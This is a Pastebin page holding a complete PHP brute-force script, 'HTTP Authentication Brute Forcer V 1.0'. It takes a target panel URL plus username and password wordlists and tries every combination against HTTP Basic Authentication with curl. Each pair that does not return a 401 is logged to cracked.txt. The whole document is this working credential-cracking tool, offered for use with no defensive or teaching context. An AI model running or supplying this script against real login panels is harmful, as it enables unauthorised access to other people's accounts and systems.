Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- error_reporting(0);
- set_time_limit(0);
- ini_set('memory_limit', '640000M');
- echo"
- [#]==============================================[#]
- [#] HTTP Authentication Brute Forcer V 1.0 [#]
- [#] s0w & Nani17 [#]
- [#] MaDe By Islam .. [#]
- [#] Last Update : 24/1/2016 [#]
- [#]==============================================[#]
- ";
- function curl($url,$user,$pass){
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL,$url);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
- curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
- curl_setopt($ch, CURLOPT_USERPWD, "{$user}:{$pass}");
- $result = curl_exec($ch);
- curl_close($ch);
- return $result;
- }
- function save($site,$user,$pass){
- $fo = fopen("cracked.txt","a+");
- fwrite($fo,"[+] $site\n $user:$pass\n\n");
- fclose($fo);
- }
- echo "\n(Panel URL) => ";
- $panel_url = trim(fgets(STDIN,1024));
- echo "\n(usernames List) => ";
- $user_file = trim(fgets(STDIN,1024));
- $users = file($user_file);
- $users = array_unique($users);
- $count_u = count($users);
- echo "\n(passwords List) => ";
- $pass_file = trim(fgets(STDIN,1024));
- $pws = file($pass_file);
- $pws = array_unique($pws);
- $count_w = count($pws);
- sleep(1);
- echo "\n\n\t\t[*] URL : $panel_url
- usernames : $count_u user
- passwords : $count_w pass
- \t\t\n\t\t Cracking ... \n\n";
- foreach ($users as $user){
- $user = trim($user);
- foreach ($pws as $pass){
- $pass = trim($pass);
- $go = curl($panel_url,$user,$pass);
- if(!preg_match('#401#i',$go)){
- echo "[+] $user : $pass\n";
- save($panel_url,$user,$pass);
- exit;
- }else
- echo "[-] $panel_url : ($user : $pass) => error\n";
- }}
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement